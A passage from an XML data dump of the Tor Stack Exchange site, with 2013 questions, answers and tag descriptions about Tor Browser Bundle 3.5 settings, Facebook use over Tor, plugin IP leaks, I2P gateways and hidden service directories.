keys).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Definitions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Destination&lt;/em&gt; - an address inside I2P; roughly equivalent to an IP address.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;RouterInfo&lt;/em&gt; - the information required to directly connect to a particular I2P node (IP address, public keys etc.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;LeaseSet&lt;/em&gt; - the information required to connect to an application or service inside I2P (Destination, public keys, tunnel gateways etc.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;netDb&lt;/em&gt; - the distributed database where network routing information is stored (RouterInfos and LeaseSets).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Links&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href=&quot;https://geti2p.net/&quot; rel=&quot;nofollow&quot;&gt;https://geti2p.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Documentation:&lt;/strong&gt; &lt;a href=&quot;https://geti2p.net/en/docs&quot; rel=&quot;nofollow&quot;&gt;https://geti2p.net/en/docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Application development guide:&lt;/strong&gt; &lt;a href=&quot;https://geti2p.net/en/get-involved/develop/applications&quot; rel=&quot;nofollow&quot;&gt;https://geti2p.net/en/get-involved/develop/applications&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="1174" LastEditDate="2016-07-21T21:19:52.330" LastActivityDate="2016-07-21T21:19:52.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1098" PostTypeId="4" CreationDate="2013-12-22T04:54:38.607" Score="0" Body="Invisible Internet Project: An open-source low-latency P2P overlay network that uses onion routing to provide location anonymity." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2016-07-22T21:53:34.543" LastActivityDate="2016-07-22T21:53:34.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1099" PostTypeId="5" CreationDate="2013-12-22T04:57:14.857" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-22T04:57:14.857" LastActivityDate="2013-12-22T04:57:14.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1100" PostTypeId="4" CreationDate="2013-12-22T04:57:14.857" Score="0" Body="IPv6 is the next generation Internet Protocol (IP) address standard that will supplement and eventually replace IPv4, the protocol most Internet services use today." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-22T12:27:19.923" LastActivityDate="2013-12-22T12:27:19.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1101" PostTypeId="5" CreationDate="2013-12-22T04:59:45.477" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-22T04:59:45.477" LastActivityDate="2013-12-22T04:59:45.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1102" PostTypeId="4" CreationDate="2013-12-22T04:59:45.477" Score="0" Body="Atlas is a web application to discover Tor relays and bridges. It provides useful information on how relays are configured along with graphics about their past usage." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-22T12:27:33.770" LastActivityDate="2013-12-22T12:27:33.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1103" PostTypeId="5" CreationDate="2013-12-22T06:12:11.700" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-22T06:12:11.700" LastActivityDate="2013-12-22T06:12:11.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1104" PostTypeId="4" CreationDate="2013-12-22T06:12:11.700" Score="0" Body="Google is a corporation specializing in search, cloud computing, software, and other Internet-related services and products." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-22T12:27:45.833" LastActivityDate="2013-12-22T12:27:45.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1105" PostTypeId="1" CreationDate="2013-12-22T17:36:13.340" Score="4" ViewCount="1234" Body="&lt;p&gt;I was wondering if others are having the issue I am having and if any one knows a solution. The problem is I recently updated to Tor 3.5 and modified some settings in about:config and via Options but when I restart Tor with the prefs.js having been modified I get an error stating that Tor Browser Bundle has stopped working with an option to check online for a solution or close the program. I have to delete prefs.js, thus losing my setting, in order for it to start again. I am running Windows 7 Ultimate 64-bit. If anyone has any idea about this and how to correct it please let me know.&lt;/p&gt;&#xA;" OwnerUserId="796" LastEditorUserId="923" LastEditDate="2014-07-04T14:28:35.967" LastActivityDate="2014-07-04T14:28:40.317" Title="Why does Tor Browser Bundle 3.5 not save preferences?" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1106" PostTypeId="2" ParentId="1075" CreationDate="2013-12-22T17:38:21.793" Score="14" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I control the things that Vidalia did?(bridges, start and stop tor)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Starting the TorBrowser starts (launches) Tor and closing the TorBrowser closes (exits) Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All traffic from the TorBrowser is supposed to go through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon first launch of the extracted bundle you have two choices, either you connect to the Tor network directly or you change some configuration because you have to, like a forced proxy or a strict firewall or the requirement to use bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the TorBrowser is launched you see a green onion on the left to the URL bar. If you click it it gives you the option to have a &quot;New Identity&quot;, which is more strict, compared to Vidalia, as it closes all open tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also allows you to add bridges. When you click &quot;Open network settings&quot; and then check &quot;My ISP blocks connections to the Tor network&quot; you can add your bridges.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorDisplayName="user5" LastEditDate="2014-02-13T21:35:04.077" LastActivityDate="2014-02-13T21:35:04.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1107" PostTypeId="2" ParentId="1092" CreationDate="2013-12-22T17:50:58.750" Score="2" Body="&lt;p&gt;Additionally to what jmort253 said, this also depends on your use-case and your threat-model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use the TorBrowser only to circumvent local censorship and protect your log-in credentials by logging in over https and don't fear to get arrested for posting on Facebook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can safely use it. Local observers see you connecting to the Tor network. Facebook knows that you visit it over Tor. Anyone can see what you wrote there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use the TorBrowser to check your mails over https secured connections from a provider that can personally identify you, but all you care is that he doesn't know where you are right now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can safely use it. The email provider knows that it is you, but not where you are. He knows that you are using Tor.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-22T17:50:58.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1108" PostTypeId="1" CreationDate="2013-12-22T19:02:21.590" Score="4" ViewCount="1158" Body="&lt;p&gt;I have a Facebook account that was successfully registered from behind Tor (not using my real name, of course). I am unable to post comments on sites that use the Facebook social plugin. There is no error message returned. I am able to login to Facebook, and the comment appears on my screen as having been posted, but it isn't visible to others. I have tried using one other Facebook account, but get the same results. This has been a problem with all the Tor Browser Bundle versions that I have used. I have tried disabling HTTPS Everywhere and NoScript, but it still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone been able to overcome this problem? Are there hidden settings in the browser that I need to change that would permit my posts to go through?&lt;/p&gt;&#xA;" OwnerUserId="798" LastEditorUserId="71" LastEditDate="2013-12-22T21:03:03.310" LastActivityDate="2019-09-11T08:02:13.783" Title="Cannot post comments on sites using Facebook social plugin" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1109" PostTypeId="2" ParentId="84" CreationDate="2013-12-23T04:55:58.057" Score="1" Body="&lt;p&gt;As noted in the &lt;a href=&quot;https://tor.stackexchange.com/questions/84/how-do-i-create-a-launcher-script-that-opens-an-url-in-torbrowser-from-the-bu#comment98_92&quot;&gt;comments&lt;/a&gt;, 3.X series of the Tor Browser Bundle ships without Vidalia and now it's easier to launch it with a URL (or any other &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Command_Line_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;command line option that Firefox would be happy with&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a modified &lt;code&gt;start-tor-browser&lt;/code&gt; script that will pass all arguments to Tor Browser while preserving environment variables set by the original script:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/gunesacar/3a49ef6a9daa546b2330/raw/9bab08ccef08dab75a4bee57b4b0bdbe24d5f73f/start-tor-browser-with-args.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;start-tbb-with-args&lt;/code&gt;&lt;/a&gt; (place in TBB root dir, same dir as the &lt;code&gt;start-tor-browser&lt;/code&gt;, give execution permission with &lt;code&gt;chmod u+x&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some possible commands would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;start-tbb-with-args torproject.org&lt;/code&gt;&lt;br&gt;&#xA;&lt;em&gt;open torproject.org&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;start-tbb-with-args about:tor torproject.org&lt;/code&gt;&lt;br&gt;&#xA;&lt;em&gt;open about:tor and torproject.org (will open 2 tabs)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;start-tbb-with-args -search Tor&lt;/code&gt;&lt;br&gt;&#xA;&lt;em&gt;search for the word &quot;Tor&quot; using TBB's default search engine (=startpage)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;start-tbb-with-args --debug torproject.org&lt;/code&gt;&lt;br&gt;&#xA;&lt;em&gt;run TBB in debug mode and open torproject.org&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that, whenever present, TBB's &lt;code&gt;--debug&lt;/code&gt; option will be processed correctly and excluded from the passed params using &lt;code&gt;shift&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can review the &lt;a href=&quot;https://gist.github.com/gunesacar/3a49ef6a9daa546b2330#file-start-tor-browser-patch&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/a&gt; (vs. TBB v3.5) which is quite minimal (only 13 characters were changed/added!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please use the script at your own risk! Not sure about what kind of security/privacy problems this modification may bring!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-12-23T05:03:16.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1110" PostTypeId="5" CreationDate="2013-12-23T05:42:23.190" Score="0" Body="&lt;p&gt;A transparent proxy intercepts normal communication at the network layer without requiring any special client configuration. Clients need not be aware of the existence of the proxy. A transparent proxy is normally located between the client and the Internet, with the proxy performing some of the functions of a gateway or router.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-23T13:45:12.633" LastActivityDate="2013-12-23T13:45:12.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1111" PostTypeId="4" CreationDate="2013-12-23T05:42:23.190" Score="0" Body="A transparent proxy intercepts normal communication at the network layer without requiring any special client configuration. Clients need not be aware of the existence of the proxy." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-23T13:45:16.103" LastActivityDate="2013-12-23T13:45:16.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1112" PostTypeId="1" CreationDate="2013-12-23T15:55:51.480" Score="1" ViewCount="453" Body="&lt;p&gt;I've noticed after running Tor Browser Bundle 3.5 for a few minutes that it will refuse the connection to HTTPS websites. When I turn off HTTPS Everywhere then change a URL from HTTPS to HTTP the connection works again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, after a few minutes I cannot connect to &lt;code&gt;https://www.torproject.org&lt;/code&gt;, but without HTTPS Everywhere I can connect to &lt;code&gt;http://www.torproject.org&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone else have this problem or it is only me? Does anyone know why or what might cause this problem? Is it a bug?&lt;/p&gt;&#xA;" OwnerUserId="804" LastEditorUserId="923" LastEditDate="2014-07-04T14:27:05.357" LastActivityDate="2014-07-04T14:27:33.837" Title="HTTPS problem with Tor Browser Bundle 3.5" Tags="|tor-browser-bundle|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1113" PostTypeId="2" ParentId="1071" CreationDate="2013-12-23T17:03:19.520" Score="4" Body="&lt;p&gt;You can download a &lt;a href=&quot;https://people.torproject.org/~erinn/vidalia-standalone-bundles/&quot; rel=&quot;nofollow&quot;&gt;standalone version of Vidalia&lt;/a&gt; if you are on Linux or Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Windows the extension is &lt;code&gt;.exe&lt;/code&gt; and for Linux it is &lt;code&gt;.tar.gz&lt;/code&gt; for Vidalia. &lt;code&gt;.asc&lt;/code&gt; is the signature file to check the integrity of the standalone Vidalia bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have to extract the Vidalia bundle to some folder you can write to. It is not recommended to use the folder of the TorBrowserBundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you always have to start the TorBrowser and after it successfully launched you can start Vidalia. There should be &quot;Start Vidalia&quot; like the TorBrowserBundle contains &quot;Start Tor Browser&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use Vidalia like you did before; this includes invoking a new identity.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-23T17:03:19.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1114" PostTypeId="2" ParentId="1108" CreationDate="2013-12-23T18:03:59.817" Score="1" Body="&lt;p&gt;I think website by itself is configured to prevent access with javascript disabled or with Tor IP addresses. some sites believes that Tor IPs are spam and admin block it. Even if you disable NoScript, again, it depends on the admin of website that you visit or whoever created this facebook plugin. You should ask them to see if it is a bug and to change such behavior of plugin or website. I had the same problem with disqus, so, I had to use PC in the library if I wanted to comment, in that way, they couldn't see my personal IP address. But I don't think this question has anything to do with Tor, it has to be with facebook plugin or websites you visit.&lt;/p&gt;&#xA;" OwnerUserId="805" LastEditorUserId="923" LastEditDate="2014-07-04T14:27:40.037" LastActivityDate="2014-07-04T14:27:40.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1115" PostTypeId="2" ParentId="1105" CreationDate="2013-12-23T20:10:34.763" Score="2" Body="&lt;p&gt;Well I think I figured it out. It wasn't the about:config settings. And all of the setting changes in 'options' were fine too except for one which was causing the problem. I had checked the box to 'use hardware acceleration when available' and that was causing the problem. I have that box checked in my regular Firefox 26 build without issue so must be an issue with the Tor browser bundle and not the hardware acceleration on my computer. &lt;/p&gt;&#xA;" OwnerUserId="796" LastEditorUserId="923" LastEditDate="2014-07-04T14:28:40.317" LastActivityDate="2014-07-04T14:28:40.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1116" PostTypeId="1" CreationDate="2013-12-23T21:20:28.907" Score="5" ViewCount="10236" Body="&lt;p&gt;I want to be able to log into social networking sites like FB. Do I have to make a new account or will Tor protect my identity still? I think I logged into FB and realized that I might not be protected anymore. What do I do? Should I make a new identity and then a new account?&lt;/p&gt;&#xA;" OwnerUserId="716" LastEditorUserId="923" LastEditDate="2014-06-22T15:28:40.657" LastActivityDate="2017-07-13T19:43:14.543" Title="If I log into facebook with Tor, am I still protected?" Tags="|tor-browser-bundle|anonymity|security|censorship|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1117" PostTypeId="1" AcceptedAnswerId="1286" CreationDate="2013-12-23T22:01:44.577" Score="4" ViewCount="6103" Body="&lt;p&gt;Is there gateway to sites *.i2p of &lt;a href=&quot;http://geti2pj2fl72u4m2.onion/en/&quot; rel=&quot;nofollow&quot;&gt;The Invisible Internet Project&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. There is gateway to Freenet ( &lt;a href=&quot;https://github.com/saces/KeyUtils/&quot; rel=&quot;nofollow&quot;&gt;KeyUtils 0.5.3 v5020 (5020)&lt;/a&gt; ): &lt;a href=&quot;http://2vlqpcqpjlhmd5r2.onion&quot; rel=&quot;nofollow&quot;&gt;http://2vlqpcqpjlhmd5r2.onion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://2vlqpcqpjlhmd5r2.onion/freenet:USK@Isel-izgllc8sr~1reXQJz1LNGLIY-voOnLWWOyagYQ,xWfr4py0YZqAQSI-BX7bolDe-kI3DW~i9xHCHd-Bu9k,AQACAAE/linkageddon/1011/&quot; rel=&quot;nofollow&quot;&gt;http://2vlqpcqpjlhmd5r2.onion/freenet:USK@Isel-izgllc8sr~1reXQJz1LNGLIY-voOnLWWOyagYQ,xWfr4py0YZqAQSI-BX7bolDe-kI3DW~i9xHCHd-Bu9k,AQACAAE/linkageddon/1011/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or gateways to onion sites from www: &lt;a href=&quot;http://tor2web.org/&quot; rel=&quot;nofollow&quot;&gt;tor2web.org&lt;/a&gt;, &lt;a href=&quot;https://onion.to/&quot; rel=&quot;nofollow&quot;&gt;onion.to&lt;/a&gt;, &lt;a href=&quot;https://onion.lu&quot; rel=&quot;nofollow&quot;&gt;onion.lu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="88" LastEditDate="2014-01-18T20:11:09.783" LastActivityDate="2018-10-19T20:00:26.960" Title="Is there i2p gateway?" Tags="|i2p|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1118" PostTypeId="1" CreationDate="2013-12-24T02:09:45.483" Score="1" ViewCount="409" Body="&lt;p&gt;Arm is noted on the Tor Project website as a supported project. However, I cannot find any documentation about how to use and/or configure it. Is there a general guide or set of instructions for this?&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="71" LastEditDate="2013-12-24T13:28:58.403" LastActivityDate="2013-12-24T23:37:37.230" Title="Documentation/Instructions for Arm?" Tags="|nyx|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1119" PostTypeId="2" ParentId="1116" CreationDate="2013-12-24T03:31:25.177" Score="1" Body="&lt;p&gt;No.&lt;br/&gt;&#xA;When you make a Facebook account and whenever you log on you give them your identity.&#xA;That's kinda the whole point of Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of Tor is to make &lt;i&gt;delivery&lt;/i&gt; of your internet traffic anonymous. Tor doesn't make the &lt;i&gt;contents&lt;/i&gt; of your traffic anonymous.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-12-24T03:31:25.177" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1120" PostTypeId="1" CreationDate="2013-12-24T03:32:00.120" Score="1" ViewCount="1219" Body="&lt;p&gt;Okay firstly I am trying to use the search engine Dogpile but when I search for anything it comes up with no results. The next is about plugins I have flip4mac as well as silverlight and I can't add the plugins even if I use the file on my computer it say's its corrupted.&lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="923" LastEditDate="2014-07-04T14:25:51.363" LastActivityDate="2014-07-04T14:25:51.363" Title="I have a few question's about the Tor browser plugins and search engine" Tags="|tor-browser-bundle|plugin|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-26T23:25:33.787" ContentLicense="CC BY-SA 3.0" />
  <row Id="1121" PostTypeId="2" ParentId="1116" CreationDate="2013-12-24T08:18:02.213" Score="1" Body="&lt;p&gt;If you have a shell account (meaning it uses a fake name and stats) and reveals nothing personal, then using Tor you can mask your location and trail. HOWEVER, keep in mind there are other ways that you can breach your security, even with a Tor connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you enable Flash, there are hidden flash embeds in the FB code designed to track stats, much like Urchin does but to a more unbelievably detailed level, such as how much time you spent on a page, what you looked at, where you clicked, what you clicked, if you scrolled all the way down or not, where you went next, where you came from, and so on and so forth. Among the data it gathers is your session id, geo tags, and so on. Because it uses Flash, it gathers it client side, which means its getting it directly from your system, this WILL expose your external IP, the real one, it will also expose whatever else you have exposed on your system that can identify you. To solve this problem, make sure you disable Flash while using Tor, ALWAYS - unless you accept the risks I have mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, FB uses JavaScript HEAVILY which also has the same capability client-side and can expose like Flash, maybe not as insidiously but still pretty extensively. This is almost integral to FB function but it can be used without JS, which means if you disable JavaScript, you should be ok. In Chrome, disable it from the Settings, or use &lt;a href=&quot;https://chrome.google.com/webstore/detail/http-switchboard/mghdpehejfekicfjcdbfofhcmnjhgaag&quot; rel=&quot;nofollow&quot;&gt;HTTP Switchboard&lt;/a&gt; and in Firefox, same thing in Options, or use &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/noscript/&quot; rel=&quot;nofollow&quot;&gt;NoScript&lt;/a&gt; which is suggested even by the Tor Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to recap, if you want to the full benefit of all the web technology has to offer, then NO you will not be secure on Facebook - short answer. But, if you are willing to sacrifice Flash and JavaScript (which pretty much eliminates most apps on FB) then YES you will be just fine. Just be informed in making your decision.&lt;/p&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-12-24T08:18:02.213" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1122" PostTypeId="2" ParentId="1120" CreationDate="2013-12-24T09:21:14.223" Score="2" Body="&lt;p&gt;It is heavily recommended against adding any plugins or extensions to the TorBrowser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions might alter the behavior of the browser so that you can be fingerprinted. They might even send data to some server, that even though it is send over Tor, could identify you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins, like Flash and Silverlight are not aware of Tor and therefore bypass Tor. Even if they would send all traffic over Tor they can be turned into spies by telling a website about your system and this includes your real IP address.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-24T09:21:14.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1124" PostTypeId="1" CreationDate="2013-12-24T19:56:13.287" Score="1" ViewCount="254" Body="&lt;p&gt;Lately the Atlas site is not finding the exit node I am connected, the TBB 3.5 this with javascript enabled, what should I do?&lt;/p&gt;&#xA;" OwnerUserId="815" LastEditorUserId="923" LastEditDate="2014-03-04T23:38:36.923" LastActivityDate="2014-03-04T23:38:36.923" Title="Site Atlas atlas.torproject.org not find exit node" Tags="|tor-browser-bundle|exit-relays|atlas|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1125" PostTypeId="2" ParentId="1124" CreationDate="2013-12-24T23:10:54.690" Score="4" Body="&lt;p&gt;Probably related to this bug on the torproject bugtracker: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10486&quot;&gt;#10486 Onionoo is down&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/onionoo.html&quot;&gt;Onionoo&lt;/a&gt; is the backend service that Atlas queries to get information about the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="816" LastActivityDate="2013-12-24T23:10:54.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1126" PostTypeId="2" ParentId="1118" CreationDate="2013-12-24T23:37:37.230" Score="3" Body="&lt;p&gt;Arm includes within itself a readme...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/arm.git/blob/HEAD:/README&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/arm.git/blob/HEAD:/README&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-24T23:37:37.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1127" PostTypeId="2" ParentId="737" CreationDate="2013-12-25T01:40:49.167" Score="0" Body="&lt;p&gt;I imagine it is possible to randomize the sending times to confuse the statistical, say by adding a random .5 to 3 second variance. More advanced statistical analysis would probably be able to beat this, and it would slow thing up a bit. It would probably be best as an optional feature, but I think it may be worth pursuing.  &lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2013-12-25T01:40:49.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1128" PostTypeId="1" CreationDate="2013-12-25T12:44:32.710" Score="0" ViewCount="1754" Body="&lt;p&gt;I've been getting this error on way too many sites, and other than allowing Tor through Windows Firewall, I do not have the expertise to fix this issue, so I turn to you guys. Help, please?&lt;/p&gt;&#xA;" OwnerUserId="818" LastEditorUserId="923" LastEditDate="2014-03-04T23:40:52.043" LastActivityDate="2014-03-04T23:40:52.043" Title="Firefox can't establish a connection to 'x' server.(I've already allowed Tor through my Firewall" Tags="|windows|firefox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1129" PostTypeId="1" CreationDate="2013-12-25T21:35:01.690" Score="2" ViewCount="113" Body="&lt;p&gt;Are HSDirs stable or there is a chance to lose my hidden service if HSdirs shuts down? Also Why there is no way to make a hidden service use ECC instead of RSA?&lt;/p&gt;&#xA;" OwnerUserId="820" LastEditorDisplayName="user5" LastEditDate="2013-12-26T01:48:03.237" LastActivityDate="2013-12-26T11:16:02.363" Title="hidden services stability and cryptography" Tags="|onion-services|encryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1130" PostTypeId="1" CreationDate="2013-12-26T09:47:19.973" Score="2" ViewCount="1361" Body="&lt;p&gt;Why do all Tor hidden services websites are static with poor graphic and simple coding? Does the Tor network support all coding languages?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="923" LastEditDate="2014-07-04T14:28:05.823" LastActivityDate="2014-12-12T10:45:02.137" Title="Is it possible to create dynamic Tor website?" Tags="|onion-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1131" PostTypeId="2" ParentId="1130" CreationDate="2013-12-26T10:17:38.540" Score="5" Body="&lt;p&gt;First of all the Tor network itself doesn't support any coding languages it just moves data back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The performance on Tor and especially on hidden services is not the best, therefore hidden service operators may use low resolution images/graphics as they are easier to distribute over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what websites make use of .onion domains and if scripting would make any sense for those, but the simpler something is the less room for failure there is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden services may not make use of any or extensive scripting, so their users can keep JavaScript disabled and still use the website without having to worry all that much about browser exploits that make use of JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a shame that so many websites in the regular Internet don't work at all or properly without JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question, yes, one could create a dynamic website behind a hidden service.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-26T10:17:38.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1133" PostTypeId="2" ParentId="1129" CreationDate="2013-12-26T11:16:02.363" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are HSDirs stable or there is a chance to lose my hidden service if HSdirs shuts down?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your HSDirs decide to die for whatever reason then your hidden service will be unavailable to most clients, at least for a time.&#xA;Clients can still access your service, but only if they already know the information in your hidden service descriptors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden services get new descriptor-ids and therefore new sets of HSDirs every 24 hours, so the problem will eventually resolve itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally each hour a hidden service checks to see if it needs to re-upload its descriptors; at this point if network status documents imply that one of your service's HSDirs are down then they'll choose a replacement [1]. This protects against HSDirs vanishing from the network, but doesn't necessarily defend against a HSDir attempting to censor your service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly sure methods of detecting such censorship have been proposed, such as your hidden service periodically downloading its own descriptors to confirm that they're still available. I'm not sure if any have actually been implemented however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that to become a HSDir an onion-router needs a considerable amount of uptime, so it would be very unusual if they all decided to die at once.&#xA;(&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;dir-spec&lt;/a&gt; says it takes 25 hours to earn the HSDir flag, but I've heard that's been increased.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also Why there is no way to make a hidden service use ECC instead of 